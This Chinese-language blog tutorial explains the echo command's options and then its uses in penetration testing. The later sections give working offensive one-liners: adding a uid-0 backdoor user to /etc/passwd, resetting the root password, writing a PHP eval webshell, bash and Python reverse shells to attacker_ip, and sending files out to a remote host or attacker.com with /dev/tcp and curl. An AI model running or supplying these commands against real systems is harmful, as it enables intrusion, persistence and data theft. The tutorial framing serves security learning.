August 24, 2025
30 浏览量
Welcome

Echo命令详解及渗透测试应用

本文深入讲解了Echo命令在渗透测试中的各种应用,包括基本选项、颜色输出、格式化输出、文件操作、字符串显示、IP转发、用户管理、密码修改、命令执行、Base64编码、反弹Shell、文件传输等技巧。文章内容涵盖了Echo命令的常见使用方法以及在实际渗透测试中的应用场景,非常适合安全爱好者和渗透测试人员参考学习。

Echo在渗透中的应用

Echo 常见选项

基本选项

bash
1# -n: 不输出结尾的换行符
2echo -n "Hello"  # 输出: Hello
3echo "Hello"     # 输出: Hello\n
4
5# -e: 启用转义字符解释
6echo -e "Hello\nWorld"  # 输出: Hello
7                        # World
8
9# -E: 禁用转义字符解释(默认)
10echo -E "Hello\nWorld"  # 输出: Hello\nWorld
11
12# 常用转义字符
13echo -e "\a"     # 响铃
14echo -e "\b"     # 退格
15echo -e "\c"     # 不换行
16echo -e "\f"     # 换页
17echo -e "\n"     # 换行
18echo -e "\r"     # 回车
19echo -e "\t"     # 水平制表符
20echo -e "\v"     # 垂直制表符
21echo -e "\\"     # 反斜杠

颜色输出

bash
1# 文本颜色
2echo -e "\033[31m红色文本\033[0m"    # 红色
3echo -e "\033[32m绿色文本\033[0m"    # 绿色
4echo -e "\033[33m黄色文本\033[0m"    # 黄色
5echo -e "\033[34m蓝色文本\033[0m"    # 蓝色
6echo -e "\033[35m紫色文本\033[0m"    # 紫色
7echo -e "\033[36m青色文本\033[0m"    # 青色
8
9# 背景颜色
10echo -e "\033[41m红色背景\033[0m"    # 红色背景
11echo -e "\033[42m绿色背景\033[0m"    # 绿色背景
12echo -e "\033[43m黄色背景\033[0m"    # 黄色背景
13
14# 文本样式
15echo -e "\033[1m粗体文本\033[0m"     # 粗体
16echo -e "\033[4m下划线文本\033[0m"   # 下划线
17echo -e "\033[5m闪烁文本\033[0m"     # 闪烁

格式化输出

bash
1# 使用变量
2name="World"
3echo "Hello $name"      # 输出: Hello World
4echo "Hello ${name}"    # 输出: Hello World
5
6# 命令替换
7echo "Current time: $(date)"
8echo "Current time: `date`"
9
10# 转义特殊字符
11echo "This is a \$dollar sign"    # 输出: This is a $dollar sign
12echo "This is a \"quote\""        # 输出: This is a "quote"

文件操作选项

bash
1# 追加到文件
2echo "new line" >> file.txt
3
4# 覆盖文件
5echo "new content" > file.txt
6
7# 创建多行文件
8echo -e "line1\nline2\nline3" > multiline.txt
9
10# 使用here文档
11echo << EOF > file.txt
12line1
13line2
14line3
15EOF

Echo 显示字符串

bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening 
5 Good Evening

打开ipv4 ipforward

bash
1echo 1 > /proc/sys/net/ipv4/ip_forward

添加root级别用户

bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

修改root密码

bash
1echo "root:newpassword" | chpasswd

利用echo -e 无交互修改密码

bash
1echo -e "newpassword\nnewpassword" | passwd username

执行命令配合base64

bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bash

使用Base64写一个php一句话到1.php

bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

反弹shell

bash
1# Bash反弹shell
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# Python反弹shell
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

文件操作

bash
1# 创建文件
2echo "content" > file.txt
3
4# 追加内容
5echo "more content" >> file.txt
6
7# 清空文件
8echo "" > file.txt

环境变量操作

bash
1# 设置环境变量
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# 添加代理设置
5echo "export http_proxy=http://proxy:port" >> ~/.bashrc

系统配置修改

bash
1# 修改系统限制
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# 修改内核参数
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

传文件

发送文件

bash
1# 方法1:使用nc
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# 方法2:使用base64
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

接收文件

bash
1# 方法1:使用nc
2nc -v -l -p 4422 > 1.tar.gz
3
4# 方法2:使用base64
5cat file.txt.b64 | base64 -d > file.txt

文件传输的其他方法

bash
1# 使用curl上传文件
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# 使用wget下载文件
5echo "wget http://attacker.com/file -O /path/to/save"

喜欢这篇文章吗?

分享给你的朋友和同事吧!

Welcome
Last updated: August 25, 2025
相关文章
正在检查服务状态...
Hello World - Welcome to My Blog - ICTRUN